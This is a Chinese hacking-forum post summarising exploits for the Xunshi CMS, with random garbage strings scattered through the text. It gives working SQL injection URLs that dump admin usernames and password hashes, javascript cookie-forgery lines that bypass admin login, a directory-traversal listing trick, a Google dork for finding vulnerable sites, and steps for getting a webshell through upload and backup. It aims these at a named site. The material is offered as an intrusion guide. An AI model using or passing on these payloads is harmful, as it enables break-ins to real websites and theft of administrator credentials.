讯时漏洞总结

admin

by:血封忆尘

在网上也有什么讯时三板斧的文章..但我个人觉得有时候靠那三种还是入侵不了（随着版本的更新）
; ^1 }/ u; X7 K$ d. W2 s5 h$ x5 J8 _1 H
以下本文总结来自黑防去年第9期杂志上的内容...
. e3 R+ r. u. v& t2 B. ^
先说一个注入吧:http://www.political-security.com/news_more.asp?lm=2 %41nd 1=2 union %53elect 1,2,3,0x3b%

26user,0x3b%26pass,6,7,8 %46rom %41dmin union %53elect * %46rom lm where 1=2

) ^- M. f' V8 `$ @$ I+ E! I记得千万别多了空格，我测试站的时候就发现多了空格注入不出结果的情况
这里一个注入
. J" B% a1 S3 N% j- l4 M
$ k0 B: f% f. A% w5 `: K/ f效果如图:
% O; q- E) I5 g% t0 j0 @( O9 a


6 G/ C" A& N9 k$ K; |这样就很轻松可以得到管理用户名与密码..这里md5可以拿去破解.但是现在安全意识的提高.
% q7 k3 Q* [+ f8 `. N
密码复杂了..很难破出来..那么我们可以通过后来cookies欺骗进去

javascript:alert(document.cookie="adminuser="+escape("用户名"));javascript:alert(document.cookie="adminpass="+escape("md5值")); javascript:alert(document.cookie="admindj="+escape("1"));

那么这里就会出现一种情况了..如果后台找不到咋办呢??请看下一漏洞让你更轻松达到你想要的效果:

" q  H4 a' j: n* i, E% w: f" G因为讯时结合了ewebeditor程序..而它没有在处理的时候忽视了ewebeditor有个可以列目录的漏洞

它是做了验证的..但讯时最没做好的地方就是验证..我们可以通过cookies欺骗来绕过验证.从而可以

+ ~) s* h: I3 c4 Q+ H' H9 Q6 I访问这页面来列目录..步骤如下:
2 E$ s! V  p* Q! n; U# a: m
4 I  _$ e: c) l' G9 k% \# djavascript:alert(document.cookie="admindj=1")

3 S7 E' |: G# n% a% H( N- ^) rhttp://www.political-security.co ... asp?id=46&dir=../..

9 o) J* r- H) p效果如图:
& F( t( I. @8 [/ Y' r$ ]

) e: x3 }  K7 C  Q1 T/ U) f/ B
这样全站目录都能瞧了..找到后台目录..进去..
2 V  K4 _- H* y
那么进了后台怎么拿shell？？上传--备份就ok了..
5 ^' \$ g3 V9 {, R
那么有时候有些管理在做后台功能的时候把备份页面去掉了...而他本机里备份页面还是存在的..
& Q, F( W' Z( R" p$ J
. b# c, A! W  ^- i. W$ ^这个我也碰到过一次..你都可以通过列目录来实现..
* a) y4 @1 |5 ^5 \
$ N3 M9 Y: z# \" L3 {javascript:alert(document.cookie="admindj=1")

http://www.political-security.co ... p?action=BackupData

备份ok..

- h, R; D$ M* ~" |8 `' m# X那么以上两个漏洞都被管理封住了...咋办??上面两个是比较常见的..那么下面一个注入漏洞呢?

9 |6 I" Q, J# z* [在admin目录下有个admin_lm_edit.asp页面..里面的id没有过滤 那么我们就可以先cookies下
7 b3 G4 ~8 {  U& g. M
4 ?( Y  F! o& X# G, }/ q' ?2 ?" X然后访问此页面进行注入..步骤如下:
# t  Q# Q/ g; e! z/ q/ d, I
9 g# n' j- R, J1 ]" `javascript:alert(document.cookie="adminuser=admin");alert(document.cookie="admindj=1")

然后请求admin/admin_chk.asp页面

输入注入语句admin/admin_lm_edit.asp?id=1 %41nd 1=2 union %53elect 1,2,3,4,id%260x3b%

: g9 q7 Z6 T2 c; N26user%260x3b%26pass,6,7,8%20%46rom%20%41dmin
. `/ O1 j: q& p" S7 G$ u/ H
3 T) y6 y% t$ j+ k3 m+ U) [效果如图所示:

5 Q1 T! f0 ~8 B" \, s: w
  r8 @- o; ?! P: P, G. H
讯时漏洞2
- A8 s5 q6 p8 c, v5 g0 Cgoogle关键字：inurl:news_more.asp?lm2= （关键字很多的自己定义吧）
4 y7 K4 P- D; U4 ~
2 K( P# n+ l( z, g1、/admin/admin_news_pl_view.asp?id=1
: ?; O5 Z$ a: }# p//id任意 填入以下语句

( }$ r7 }8 w6 k- M4 M9 e2 f5 N& P2、有时1显示错误信息的时候继续往后退2，3，4，我退到11才找到了页面，郁闷！
. z& D9 _; x3 Y; [


3、|'+dfirst("[user]","[admin]")+chr(124)+dfirst("[pass]","[admin]"),username='
1 k$ ]$ a; j0 `  S% f

. Y  A2 \) f4 E; b) u9 m
爆出管理员帐号和密码了



: T7 `; ?7 C+ @5 b4、cookies进后台
) c2 a% _* ?+ L
javascript:alert(document.cookie="adminuser=" + escape("admin"));alert(document.cookie="adminpass=" + escape("480d6d6b4d57cc903f3bab877248da40"));

' U0 o$ p0 @, Q# @" }; P/ ?& d4 \

5 ?" c9 f% o9 A+ e' M( y  `5、后台用了cookie验证，直接访问http://www.political-security.com/admin/admin_index.asp就OK了！

7 b% N. J. ?7 c# o7 Q
/ o/ C0 \' g( F2 f1 ^5 J7 ?
6、后台有上传和备份取SHELL不难。
* D% u! K  o* w7 J/ E9 B2 |, y# k1 T0 A
5 g/ T! f) Q, K, m0 W; x7 x  X( }7、讯时还有个列目录漏洞：http://www.political-security.co ... asp?id=46&dir=../..

逍遥复仇：我搞了一个讯时cms4.1版本的没有数据库备份不知道怎么搞SHELL，有的说虽然后台显示但备份页面是存在的，登录后台后访问 http://www.political-security.com/admin/admin_db_backup.asp?action=BackupData，我这个没有，郁闷着呢，谁还有其他办法提供一下，谢谢！
9 u  C4 b5 i( W* ?9 _- s